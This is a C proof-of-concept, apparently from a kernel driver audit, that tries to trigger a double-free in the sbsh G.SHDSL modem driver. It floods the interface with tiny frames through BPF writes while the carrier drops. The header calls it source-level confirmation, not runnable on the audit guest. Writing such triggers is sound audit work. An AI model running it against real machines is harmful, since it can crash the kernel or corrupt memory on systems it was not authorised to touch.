/*
 * DF-4497 trigger — sbsh stale-pointer double-free after deactivate()
 *
 * Requires: Granch SBNI12/SBNI16 G.SHDSL modem (PCI 0x55:0x9d), driver
 * attached as sbsh0, link ACTIVE, and a peer that drops carrier (or run
 * as root and let run.sh flap the interface).
 *
 * Strategy: saturate the TX path with tiny frames via BPF writes so that
 * TXS interrupts are in flight at the moment the carrier drops (EXT ->
 * deactivate -> drop_queues) — then the same/deferred ISR runs
 * free_sent_buffers() over stale xq[] pointers.
 *
 * NOT RUNNABLE on the audit QEMU guest (device absent) — source-level
 * confirmation only.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *ifn = argc > 1 ? argv[1] : "sbsh0";
	char dev[16];
	unsigned char pkt[64];		/* minimal ethernet-ish frame */
	int fd, n, i;
	struct ifreq ifr;

	for (n = 0; n < 64; n++) {
		snprintf(dev, sizeof(dev), "/dev/bpf%d", n);
		fd = open(dev, O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0) {
		perror("open /dev/bpfN");
		return 1;
	}

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifn, sizeof(ifr.ifr_name));
	if (ioctl(fd, BIOCSETIF, &ifr) < 0) {
		perror("BIOCSETIF");
		return 1;
	}

	/* dst broadcast, src anything, type IP, one payload byte */
	memset(pkt, 0xff, 6);
	memset(pkt + 6, 0x00, 6);
	pkt[12] = 0x08; pkt[13] = 0x00;
	pkt[14] = 0x45;

	for (i = 0; i < 200000; i++) {
		if (write(fd, pkt, sizeof(pkt)) < 0) {
			if (errno != ENOBUFS && errno != EINTR) {
				perror("bpf write");
				break;
			}
		}
	}
	printf("done\n");
	return 0;
}
